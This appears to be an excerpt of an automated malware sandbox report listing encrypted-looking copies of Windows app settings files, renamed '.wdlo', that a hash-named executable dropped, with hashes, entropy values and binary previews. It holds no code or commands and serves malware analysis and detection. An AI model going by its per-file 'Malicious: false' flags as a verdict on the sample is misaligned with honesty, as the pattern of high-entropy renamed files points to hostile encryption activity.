SHA-256:	DB0C7550EADA5E4214143DA0988838834E68A97C21F4B572735071D932235534
SHA-512:	4C83D351F3D34BE050EAE36C97AE48278FD2F42F991523ECDA619A6025721161F92A12AE37CD148FC32B6B259F1E94438ADCC345493E2FD493E22E157E94F55E
Malicious:	false
Preview:	regf...#...A;J.0..%{......I..2...~..H..-.....d...@j..l...=......#O..m.\|8..}..Z..?.Z..]'.w.......$.&m..<...T...H-?........k..)......N......G.....,%Ni...g0..fh..?....t..X.p....b..[@E.S.4..v.H^......^(z..".......(H..U.+..3go.Y..fMn'......t.cF<....~.i...RyL..>6&%E.,/...Q....P.l^..\|.=.d{.7P.U\`..n.I..H......Z.q8.9..kq5...h5...a{..m.P2=z.$7A......U.......I:.=..7......>..C....u_.Uj..f...P.$Bz..$.Wb.....C.....cy....].u................?.N....7..r........=..,.y.......q...W.K.[-.})+.{8..e..\|\.ym.S..hTH./.._O..47S.w.....J.5K......u..M~9]..2.C.G+k..../...".a.....Pd4=....ym.1...9......-.JpY.v.~....Z.}.X.R.Y......N..na..!...c..4...2...0.&.<...y.\|./xW.0.}b.Bq>..+H..q{6......)...x.....o]N..UU2#.~...P^#..x...J....;..=\|.2..X.=c?..3....mm..B.y...9=..G...o~'pX..x............&K..H(...XPN..u..h.C..^........S.o ....uI......+NEG...m..Y..:Ru}.^.....a.[..CQ..CX'..Q...+a.A11.........b...c3....t.0.+D...I..6.uv.-..zT^..,.>.....L.+8...).6......?.[g2.n.s..w".3.`.

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978561094248274
Encrypted:	false
SSDEEP:	192:Bj4gidhCY2/yU02BoPUAQUBcQRXxDzU8Vuj9tbjF0a+/:BMgi/C302WUAQUBcOlXGtia+/
MD5:	F2A217C0C110696DD2FC6D480F4A7A31
SHA1:	8EDDEDDBB1475676F75DA205E00272AC77257548
SHA-256:	ECBB36D198F31ADF53A82271C675ABF336A170A37494DF6926A888858C1ED6BC
SHA-512:	1A528E2B685B4A3B48F452CA12DF8E9D325550A7784D5A48FB3D113B64B73569D101FDD2602B5AC71175A575913E9685636E3862AC781ED60BBCCAA9AB838219
Malicious:	false
Preview:	regf.t....,..K:.-9...N.{k3K..@4..^.>.a.l.k9.I. ..).-.......!...R...06...I2.V.Z.!....1k.....T..O9....n..^...W._...ct.W...e..(.x:..C2....\|.2.....O."f....\|h.\|+i..%.f....0.`..k..\..).`$Nr..8 ..s....g.:qB......FU2.\|......2..").s.!.oL..X(...A..5\|.......5}..>.\(9W.J..A.n]f...%.a..C.6.y..Z....1.._..G..U.3.d....=..nD\|...e........o.w...Z...T.Y.kT...<.{t....r.....fO<...G..n..hj.cQV7pY.:....n..E:.....q....b....w..r.._...D%...-.(.....R<.A.0..{]..q.-.f..g_P.L"}..+M..P..;...':...[-]ex.}.w.<...M.....P.EX..)(3.c(.Q....C"...v.M...<...w~C.vW.Y.......<q.x.!K.\...K...)G63..8.......=+.+l.Q.d&..@M.E.Q.&......;.L....}..;.....t\>.'..`Er.....]..F...qox;.$..l.....@7..%h.:.c.}N....n.o...=..&.%.u....TP..l.nI..#...Gta.[....:.Oh/....b0.Od.%&.......u..7%.=_.R...T....l...6.a..%.g..mM..Y=Z;...;;$..%,........$..8..@...'R..jX....G(D.P.w.\|.....E...\...,...87X>b..r. ..l.Nf2.a.G..e>.5.IM~...=l...-........*8j $q..,:p..R.~..oBgV".O.0.n...m+.a....ZK.3..p.L.S..0.S.Pr...g.>.t..r.>.W...A.

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980984173704501
Encrypted:	false
SSDEEP:	192:iHWsBW9evtHVaKnbtQnrimxOB17c2C1OWgnBN01MUv:iT8MvtMKnqnrnEXc2C138NSF
MD5:	86789D68228B257D8F6DB458C3BF04B2
SHA1:	45772146599CB442C462C06649C5AD8EB65B9A6E
SHA-256:	6EDBBE36AE1748C717C4892A56B61D71964454B4E1B5A800D83D735CF96209DD
SHA-512:	2D55138A371C33A3A606FDDB3FA14146F43C975099AE2FC13125916BFDF3BBF1FDBF36DDDC82F32D75EE2B923D1E88CBEC71DF64B2F5710780B73F858B37DB7B
Malicious:	false
Preview:	regf..9z....uK..scV...G.FM>FZB....mY..9.1YN\|.%.&...w.......4.l..).fB.....Q...Z.c.L...n.[z%...K,..K.=y5<.V;..C..:F"..R....2~.6J66..i...\_t..4~\.....M.dW....\...gT}L...<[..:.g.jb.L.3H,o..?...........-.......c>.XR..E..#h+..<...d..nz.g....Q...!....{......}...>.)#&..W......E.'......qE?..........q...U.Ff...1...LNd........9:.l..m..m5):.1(......\|.{1d...W....W.w@..>.......>.2....u.OJR...QheG.3...~..z8..i.~.-.P=^..{Z.._x.... E...PC.S.}C......O-)..A...>.kAY:...q_o.........7v/.......%..D.}..8.@...2............/m.L...fR..n.E@.......2....p.U.{.?.9..2og.....=I#...W6..,/......x.oLL~.B..\.2W...:.@D........\|...$...hR...2......<..T.nv5.......WY..eMS....O.Fgi..3...p.;..?N...Y@............2k...I..[#%Hb(....$Hs.........]...3...@...1.....5.v..:}....^Rh...(..a(....S\|.?.&..1...K.^.s..o.5o.u.b...wC.Ns...g..Dm3.v....v...%.....c.`..>....=i....W..C^.A.9]U.....m...t9...~..+%....[....^ur.KV .......>.+c..L.G.>...$9#.U..t.X..0...z..#...0..(..N.Pv...[.._.5.......Q....k8A.r

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975334597910299
Encrypted:	false
SSDEEP:	192:roTvSnLd4TVj57rQY4yW/hyxSP1T0gzvUX66kOzrx2CWR:roTSnGTT7rQ3y4hyoPqgxOzltO
MD5:	000237257F7D5CC8A9CEABCE97B853F6
SHA1:	C0396CBAC04852BA2407F19BB3C8A7328F5A861A
SHA-256:	53EC4400897F4999FF62C5803A1B67B837FF3E708278884F7E8F49DFB1B663BF
SHA-512:	80A7EF4C266CCB217B7A03D2727C5321D1C7EBB79F94476BAD2A8A794087D980F7E224B8DC8A5394AF91C3327BBAA49AFC49DA2A81123472B7C550BB3A32663C
Malicious:	false
Preview:	regf.2....\|..1.^....s}........\|.{.n\.....fL.7t....^..........}...G....[..w...VA.F..R.9.#}.....(..lKLE..\...NXlTx:.F....<.....k.......jr.5.'.D....+...s?...4.......B...f... ....2.-....k.k...IYRLB.............y..!.@S......=..0...HNy1..s....E....g...]b....m......s...:..S.f..(..$wLR.].....owrgBXJL..5.....4...O.+~(.l.=...N"E.O.bwcR...5...o.U.r^.).../...A.#..3::.Le....0.Z#.......c{............>.cuqTK./.\|w2...... ......N.V...Uz.d..H_.M6..Ds0.##..E.{...!W6.../L@.......u..=.e.]v....!.<sO;1.._.l.Qc".........).T.t...2d.c...6...>dU..k.^.M...73.T.\K....\E..E_..7.....y.._1.0.u.......I.....'..xZ.............U...%@l...qH.ooh.)..%....f.As.;+..8..}_.../.b...b..&w.....!.......e..j..s....X..a...S.5..%..$.+..p(qw..]z.Jw..q.c.9...,[.X..Ka#..:..M1U.....[...5wNYz$k&8&.m...t..ME.%...+....O....+...?J.wG}..Q.t...xL........S=...x.w6..e..c).3C.Dd....Z..,.a.s^..m.._.A...:AC...........!.'.X....]........E.P!..YO..x.4d........:..D..B3..<...2...g.. ..;...>.X....{.*..,

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979456929732159
Encrypted:	false
SSDEEP:	192:DwX1mLmwqO+8MSFkgym35TC+Jl98+9+XPEU5+fl0Ha:8FWmsFxym35TRBi560Ha
MD5:	D352D64E0648965F1DEC6CB09D90E655
SHA1:	A277AD0871874B205996A294D29F1FCC35A74B63
SHA-256:	DFF44848125D73BE1B2D9A6EADEDB61EAA373C9144E2C9752A2B2CEFA060A3A5
SHA-512:	DA56D722AD62E5BFA7F1A17D4854C8D062EF8E2ACA3FF88C04DB0743BD3640BDFF184341A3AA4DB0815E490ABCF55AD2C9CB2DE075C8F3F83D567298E74B2F37
Malicious:	false
Preview:	regf.h.Q.'.I.0..z.....P. n.w..P...v.kl......H...Br.o2..1G...... .N.[....Z.%OC..3d. .HA..............L.-...k....d.D..N.S`..X...Pt...Y.>5..@...az.$...>...[~..Y$.h.d..X..fr.p..g.]gJ..ie.O.+.y..CS....}...b..J...........E<.W..B.;..t.'..+..#:.....e/.g$r..f../(~.y..../...N.....=..O.@7.U.[9..)jj.H.!.'S..Y..Q..+..$.....J Qp4..# ..K..r.WaZ...E....l-..\|Te.XX.[.YW.."..8....(Gg...Pm..~.v{...rt...^mz.W..\|....\|J-...!...&..X...........'_B..Z......3...=.q...v....]....$.S2K...c.W.2.REJ..r.........\|.....x..o....&....._9.K......QZH.`%....2.+.r/..N..}.6..W1$...[....=%.I.tC..s..."u..n...'.S.......0.c..-.....DG.C..q....B.2.r.K.x.E...F.?{...&.YjC....]6=...v..4.M..O.^.....>5r.z.._u.V...>..4...a...M.\|.........a.Ei}..#.K.J.l...g.)r.u]/.......?E......)..lRi....cA..0.0.5W,..!.....-[........t-.v.v.T..&J9.0.....&..#.w.;?.8P9a....jm...k.QV..n....M..x..d.(dm........../..U.4...s...8d.;o+.a..:.. .._]m..:<.- .y....Co.(..l........~...\...i_.<...M.0....\|....n....h. .&.

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978746045028594
Encrypted:	false
SSDEEP:	192:R2tTt26WREl8QFQfriyDJhMM++MM9X/Ppa4KiU2SUVZXw:R2hlgCK/bB+kP84KntUVZA
MD5:	EFE48C5F224194DB289DF8FFD710FA2E
SHA1:	91DA4EC3A157F81D2E9FEB24B3C317F16D28A4A6
SHA-256:	4B4CBCA55DEAC50F6CEDC9F90A7F31918DE77B3697C9C81E5AA0521EA77A28F8
SHA-512:	8A3AAE66552B63FD184CE23327E06AEE5C19024DD8F2370927C004E8817744DCDFF3C9C18AC14957A4534B4859575B69B0370FFD997D6A84BDD4C9C4A83364DA
Malicious:	false
Preview:	regf.y....c...>y.......s.j.]...p.0.V^#.X.......M..Dl..l./h=J.~0.m.V..,.+4...i..(.."s.F.^.f....8..~..62M.e..9`.C^.....`yg:.j....`_m{UN.;.......5.....mN"P...r.I.nrnl.[Fqc_....k..h..u3.S.(e.?.0R...[...I{4/O\...!\|6U......b..........g.)...W..X..Q..kQ/.....-.Y....LXy..x.......f...T...A......i..im....j...Q}..,:...a..+1...EmY.+...`.x.H.h7.a..n=.3...e.i......-.+j._....sW.G.?Y.l....J..3.,v._...M..=f.q...H.s.P.V....Q....![...P.3.?V...D..~>..[.y..T..d..ob..'...}~..k...-.z.d..6l....L......}.?n...1-..]..F..E=.c}{..).B..e...p' $9..l]..c...=u...Y..s!s.\|AvL.FnIF;/...Q...@0.....loh3.mC...`J...3\|...Q..ZG......]V...6[..T.U.9.c:_k.WC..gH'.!....7pK.9f...m>G8k....,...&;.,S......w~...l..{.\|.5s..1..'.NM.....7&......-....I)..B.....;..E....n.d....g...h"'..N.=...6...z.A..7.{q......x1.e.y..l.9.Q..$.........w\..JA.M_..c.l.....A..B}..1...>...y=%5..KB.5.^.=.=..UE{uC...d... .....K.. .A.b.\|\F7.<.l.or...."y...k..kQ3.&.....N..=~.....l., ...'.....h'..........7.....$.

C:\Users\user\Local Settings\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9785841671174405
Encrypted:	false
SSDEEP:	192:OQkLFtWkPx39eOlL5IC6NWsbjejTuyKXp3b/oL5dPEmlm:OtLn5x9x5IjNWQej6Xp3biKT
MD5:	AB57300DDB7A2B008A635AEC1DC9C734
SHA1:	AEB840359AB4755E9A0CFFF8F48A6CBE4C33928E
SHA-256:	D7CD8D62B1C5770B1C1ABFD5C5E9F4338D67B29BC24188FBBA7E29087A425C18
SHA-512:	329CA891E1F9ED538F3AA9365978163EA3B6675FED4E2CC1BCEF1586393BD874B93D0FFB3406F1BF605D9DACBA49563A1893417DFC50804CB175A80EA9FF9165
Malicious:	false
Preview:	regf.......W.+9....z. .. Y.]...y^U....O....K..v..3.......z^...C....E......{v.?I8.....,G...\|.a{..=.7....O....w.._.m...n..h.-HZ-.q_\|_{fE._....M.....`L.K?..rH......w~...b..N-....w.v.T..M..b...i.>-\|...).l>......a..-...G...kzl..a........j.y.".g...Y..4?.j.Q...&f\|..@.):...._.f..H...,...0<.A..w....Z.Ci.h...8.4..r^.+...=hG.i....{...K.Px.(..<%U@.{.xk....@#.....'...j}..9......y......9.....G.v..-Du....;^.d....g..G.4..\|.........(..._......V....=../o.a..SD.F'.16r\|o..;./..$?G.._..z..P1.....J.(;H'.... mdb<..}e.(V....S..#.%...%~,=...g;=@..S.......Wv.q._(..#.../r.q..U`.c.....[.H.."..."R.n..o.<wt.E..u....~....<..J..)6.......v.i.h..........f. .i..J$3.O..P..>.Q..\.G..n.a0....y..@..<...BMu.x}?..dg.q..+.....Cl..L.5..Z.=..w....c..M..Aa..4k.)-...WJ....x....M&I.lUi..KY^:&......q....p....T8.5vF..<..y..~....a.... ..n.....a. ................).Y.."..B...~.v8..Q...K..QH.. W.".:..pV.?....!....o....bd..C.A....V2...B...[1..xs4...@..^.......1.9...^.>...

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977028049417689
Encrypted:	false
SSDEEP:	192:hfAJHSjKNh117aARuhnplJfIQ2BecRCAWsyyZk7DM:ZeSjKNL12ARGpPQQCfhDWo
MD5:	9DCD9BB7BB1871188783D3D3179802B9
SHA1:	D55DF81820BFF3665EF799F880B0061AB7722588
SHA-256:	D394AFF1DEE3228FD17B3EFF2B09271B55D72AC10503301FE4FE2DB6F608EC42
SHA-512:	E0C652963B9B18BBAC4EE29C96B7F34090BC1066578EA6FFC28DC2AB47408FEF823A33F5C709757170CB01323D8C6D9A4184729F8404B764C3C65AA7CF43650A
Malicious:	false
Preview:	regf....r.a.d.....Evd...fvI.A...}m[Aq......>3.%E....2..f.=2..s..Y...F.A..J..g.N.W.3zW]...o.....{.....\..N...tr,66../'d...S.Z_........l."gN.r....>...j5.y...........:..Y[.S.g..".:.O.\|4....=......;.".S..0..U...T..D.p.C}.&k.....)s.....p.A..L.Pe~:.8.C.."......T.z..Z...E.....Y.....zKT"Q.75X.2k].d1.v......eNO^..<..G4^S.=.....M.l.P..Gm.."d..t..#g.\|.h.?".9.F..,..N4....Z.6...y.`>g.T..}.r[.U3.P.Y.........v......0.....67u.0'..)q.;..}3.\..Mj/$t8O.HO.>:..^......T.N....n.r.>....]...C.N..@.{H}........aMh....G+.}mB......,..........a.....rg.....`...2..Zu....n...q...F........An.&...+X..V...u\|'..........O.M~.Q".....(..F..TkW....t.K8....o....b!r......U......'8=..dC..$.....u.ai.]..A..1..;...O._D.Oj=...M.r+.E.C.H#.._...$....P@D9...D.....r..:3.h/.B....i....~z.....[......M..".J.......v..m>.,.....A{%l.....~O.........r.w..RRJJ.....uo.+5...6.....AI .....ae...(...0.2...6..D.!c$...1Z.K..&H=Yo..e...Z.q.^c?.c@@y....._J..&..z.B....4.9.].M........H..B..KG.dc..scc..../..3=tL.z.

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977471094681947
Encrypted:	false
SSDEEP:	192:OBLfmOHJLW6jNlrSMifWGKSfPguSEnQ3cdowN0Vz9QadFbb3:OBLO2fjGRmwQCGzqad1b3
MD5:	032B92D46F7677842B060B670606732A
SHA1:	EE208AED12EB66BB3B4F9CC4F526C054A962E566
SHA-256:	7F73E3C7ED6C92FAED76A95570F853B02B91CA17EA009FD40046DA3F05510276
SHA-512:	691A7582E9064C769BCEF81461CB0F387E2FB014DB54C384566B246FFEF37C05A59E2D16E5C6B957AE4EC35107D30B8F46EEE9BA89CDD80B1F62D2054F17E591
Malicious:	false
Preview:	regf.6..s..u4.7.pF........1$....E....^..h.../.?v')N....}r..+....=W..L/..8hKL.G...^...s.I..^.B.M..8../#X.#...Nd.4...X.nYZ..A.s...[..>..\|......6.w...Xc..z..u..x'...0.7..<..=l..1..d..5......Y9P.}V....W.,+m%.NA.^..p]...k}....u..#.......@e..b....M.d..O.h....b....Y.1..`.).Tk.k.O..$........\|3..4......Fs.&D.f.A.N4.D..A.!..K.@h...2.-.........^...)H..Q..{.F...=A....j.sJ...2..)H.GQb.w...q.......IM...b4=.>....$..1(.K.t..#<......X...1..t.Q..:..aSJ.........{.!.C.w....$....?P.y!.Q#\&..H[......Oy_.W~....`..r...;...3..w.4....@.r(.g..?..;=RU_....]..P....k....ep.....c..$ ...LD..].............9.%...q.i.<s...HV...Y......c..k.....2zl......k.zK...FaiSL!.lt.....of...../.f.:....`....T...B...x..d.u$!B;km4.+{Y.X.O\.\|!d..<..=......z...`.%qSx.]V.......W.2.\|.L..L.Ri..pDP.<rm&.M....=....Yr...@....7o..Jt...QK..!4./......,.}..`.(...-weTo..U...m........,..]...;..{.c\|Y\.Rj.e.....DU-b..Pz...[...}.g......5.W.I.~H.B..+Rh..z...T...[JR...n....K.v..Q3.jbT...$[# ....b..5..1x.[}..Y.Qn

C:\Users\user\Local Settings\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981136574768616
Encrypted:	false
SSDEEP:	192:SsgbN1tPA1wHLeEclDF/IaXmVG8WeHoJN3OCt29SHIGb0Bsp1BHwW:o4wL8Fwa2zoj3OWESHf2UHl
MD5:	9B72F995E1450C21AA503C0AD10B0F41
SHA1:	B2DA5F15837275B117F7292215A7F0EDC7B053F0
SHA-256:	B0648231C0FFF13D6DD48032623DAE7CD131F2E6EB62BE4B7EB1B5603AA12A13
SHA-512:	1BA0EF1B4B44053A233D195743DB61ACD905B30F319FBB7AE8ECC9DA89ACE6D98E14C737090FF61070CB776BB34D2DB43C4BD6BF23606C4D43C31631EB4DD7FA
Malicious:	false
Preview:	regf.B.T....vd..O.F.<......T..Td.y..n./.2..`.....gF..r.9..u.....D'..W.......Oaq...............%....b?..5\|B......d{...%..+x)'4.Y.u.].Vu......9.../..e....(..9n.Z..b%..#q.r7'...P.T..$.v..S......,c..."B\Sw"#w...4....7..k....R.....n8....,i...4._..z.U......(.#.[.@...&TY...(.q}..k..)....q.!w.i7o..6..\|.,\..=.X6H.I..4.].....+...$....4....\.c...SKc$.Tx..L.J.iiW......o'..P..[Q...4..q...b....Dl&......cov.....U.s....1[...BQ_...g..z.W..u%.5E.^....3(.x....g.>.....(Y_aq.\6&.Y......&.~."5:pP.PJf3.\|J.b..S...l.C.C...I...z.2.8S\.".....mblTB)x.@.9..R9..t.T{.H.?....yW,..>..O..{...\|n.u.F./c...}0%>.5i.5......M,.-W+.....P..1..k..#........4}...G/5b....&..`.D.z..er....~...{..gg`..A..C......?...3..2.Y...+.)..v......x.#"=..G..P.fA......... .e0%`.nZn.e.t+..G..Q...<ZPx..6..o#C.......1.E7N..1.(v....T....I........i.Dq.......C.Mr...t....M%.. ....4.T...}...Z{...0.. ..J..W..4...1.`.y..G@......<.+...G..F%.c..'...~S....{j(8...x.cWy./.r/~M..>.6.XB5...;.R..:.+`......p.x...K..l>

C:\Users\user\Local Settings\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978071118018953
Encrypted:	false
SSDEEP:	192:nRIDL96jU7f9wNpGOTLCqri0dG2Pdz1iqz/341qH:niL96jOOzGOTGqrNG2FpiqboG
MD5:	EB327B83B59B6402E01B03DD247438BF
SHA1:	4E6C6834AF5BDAAFF4768751520B285C5C8B1910
SHA-256:	AF6E22A235D7A530A3AD66D225DECC8915B222EC038D8D1FF190B1E158B08D30
SHA-512:	8CE283A93E7A8C620CEEE7CDF7768576492DA67F25D196B7E54E90B1F672CF9C89D4FF87817BF6448F08676831CE6E00FF1387A08A3F1E3A294AAF8000F3DF2C
Malicious:	false
Preview:	regf......:.....j.._?x.....G..3..R..>..p./..9.k......WR...MNL.cS o.g%.!..k..&5.},..6JN."......f......<.L..^.@%..6........\/M..B..t...M.(.ib....:....~..'.1.?..M.\|......s..\...E..."...C..........[.y.8z.!<3..A.`2K....S2..!g6....]...rn......'.~.......k.................`I.5....=.O.n......w..R..Op.\|].k.?7....Q.1...uB.._.-2..U_J.R.@.L.`~<T...".......Q.....:a.k.0..o.......9F.:..!XO.......@.Y..1_..e.........V.B..`.[..eo.......Jd....'...BY.\.....XX,T.j..P.X ...,...Z.+4,...2...#.......#.@.>.m.t%....Yy[NB.....j.......(.t/..Po..5..'.=.n.!...eM+qp....(......dd..D......=;.N.FC..W./.`:..[.....gC..z..B.:.a.D.p..........D.......V....#3`..i.o....#....J6.....u.Q.p*.>1}.9....H.....tx..)A....).J....rJ.....Y..X[.Vc.?t...e._.'.5..6W....e_.SEF.&..A>.u....;v.5nd........a.O.J..~......rW.]P.~BeFL.../\|...)....f.kp....&\....:.5T.qT..v.K@....ttZY5..T...AuH.....Y....!CQMQ[..)..V.......s..5.....0..K. ...[.q...c$."..../.SM.p..8....It..S.C..W6lC.....B......z..}8...q...xS..6.S$

C:\Users\user\Local Settings\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976312751572114
Encrypted:	false
SSDEEP:	192:lmSEWrOrKZrNHTd1Br8TccUTLoA5r+LuHlEBp:/sMNHT/9DDxr+LlL
MD5:	2059CE03DE3DD4CF247761CB69DBC0EA
SHA1:	7A6D3AC8D1F56AAB8999FC3D040796744A90FF4E
SHA-256:	F028927D8A21D2D90725C442B2BBBC87BB17ACC6C4F46C08F73F501028CE60B7
SHA-512:	CCD1C5DE97088556B707ACEF0502912311DF71EBBA514D9CE82E46CF96EAD582B741604AB12B8217912B4B6440CE2706E3ABCE684EFE30857E90F4E4A079790D
Malicious:	false
Preview:	regf..../.\......=4@f.....).....9u.M.J..P.M....R..C..j^8..QW.s.......>.....X.,..M{...)...>.......7_S.d(S...^..7..%WB..Q....l...:NU.%._.o.}UD...z..6..y;1i;...$G.(`7..<...n J.aF.,....._{.6ZZ.....^\|..f.q.Ou<.Q.[j.)..C....r......;i[.fz.\|.S...B..b7.4a...i{v...6zsE......."..7b.....A\`o=M...#....6..{F.......d.b2.R=.oD..e.v...["#..2.w..`... i.0...I.%.P.k........C....C..Y.ZmO..8....7....s..kAo..1~V..`.c>..].2....2@V........A..g..E/..g.:....{.......N2c`F.I...lF...C......g..Y.I /.!Yf..I.U..C.,...HO..q$.Y..[.h.5.@..S0..l.iv..j!.....IHJ-....`..A.f..)hK......W.Lx..Xd.........^q..4dm...7...fl..V.=d=t^....h..W.6....:...+......z...zn`n..Z.4..Y...I..o.,~iP...Q.f.....p.a.......m...".U...Ii\|i./..Q....{8.>._...k...m........6....Q....G.bk'gS.>2..w..4.G ..4.c..<.K.*..{.......L.......]..wR...@./..(...+%....M..n$....Z.;...A].9'.C.S.{zpl]....V.I...U..$...;_u...&G...T...m....A}z...R.....rZ.......0.A_.vV..MQ\32(U.=(;...3.>...0....Er.:..G.....,P..G..f....<..k<.T.~.

C:\Users\user\Local Settings\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9798369126693505
Encrypted:	false
SSDEEP:	192:h2Ryh9m2UXxbPyvxwe8O49CCYfSxr8N7ev16aS+aF6ucj:msZKRPsHRKxIokaSB0f
MD5:	449EDD8BEF278AC61D1E4E584E4A63B9
SHA1:	53EF9A0F4E786B75FFADCCCCEB0A136E34AA600A
SHA-256:	A45E10CFFF4C874D00719164F4740082062A8AE86970525F6DFEF1C2016D466C
SHA-512:	7C5F1BE6FC4DCFAD36513C4BE03729E7E1DF17B594F1838378CA772451410146F0CDAEF132914C2777DF242C47D98BD541B1C7C77D3A684183C4606759BDCFD2
Malicious:	false
Preview:	regf.....P..l.>.... Z..R.I.%.&...&!7...9.hQ.X..eU-.;....t.\..}.S....!-..3.c......3;Q..".4.2h....1.3\|.u\........-wb....$.jEh..ee.O.Y%.dcxi..Wlf..XR.0.Su.Pt.&:A.f..`ej......S...~e....2=>...}..B.PJ7^1GLd..YfX.."x..f[..E!...e...P[.pg.e=(.......q.Hu..X.....9Hv..<t.t..OS....b..wGV(.$\|.../.uB......XI..y."~(....tm^U.\..6.*-bU>.....3...m...3..$....&.+...1....zp..\2...\V..)..f.">C..7z.+y..se@'..Xe..T1.z..T]d.+......D^DF.'m.iOO.oif...+7./Y.. J.B.0...v.@...@.....[S+...&@.v.& -.......-..!..AH.+#Dg...~..LiF{.h.. .i.z&..A.L...G.0..n..M.......z^O.m....K....2..,...."l.t..9.......~.....)-....9l@.8.....#Y[.L.u.T\{.0.....$.Y.H.5..\L.....9...#+....#e..b S..A)...[=..96......D.FN.Tw...\|....S....=..`.....\|...8_!^..$.......x....J.l...."..A..\|..J).,.:R...l...X......j'....A#.c<.. ...LC6. ..E..kp.k.p%.A..Pe..1-..+@.y/k.>.6"..-R...o......U~.....T.J...9.+....^..Z..,fE../.....o.O...)..._.&M......>K....5j..+).>B_9.}.#..+.lwL:_...l~...0=e2Mdc...{...X[)L...lJ.d...z.#.:

C:\Users\user\Local Settings\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974307549961405
Encrypted:	false
SSDEEP:	192:4Oq+Qvfc8wNxGs52YdINM0fEC8FTWPdtR:NqxXEZ52YeOC8UDR
MD5:	2D0282FA1AF26253FD3A4B077DCEFE6B
SHA1:	7818F75498E4D20186FAB8E81DFB55AD1E6BEDFE
SHA-256:	01430ECBD8B8DF53B931292139AE49FB0F78FF4A908D8E6D2C98DA39D918F754
SHA-512:	8D682B4C1BA2B70FB7A82FDE4F785AF6D56AF4D3E2007308A925E6A3734C7A69408B82ADAC9C0A55D29B50363E52ACE4E087399263BCF6B91C5A52DEF1699D7D
Malicious:	false
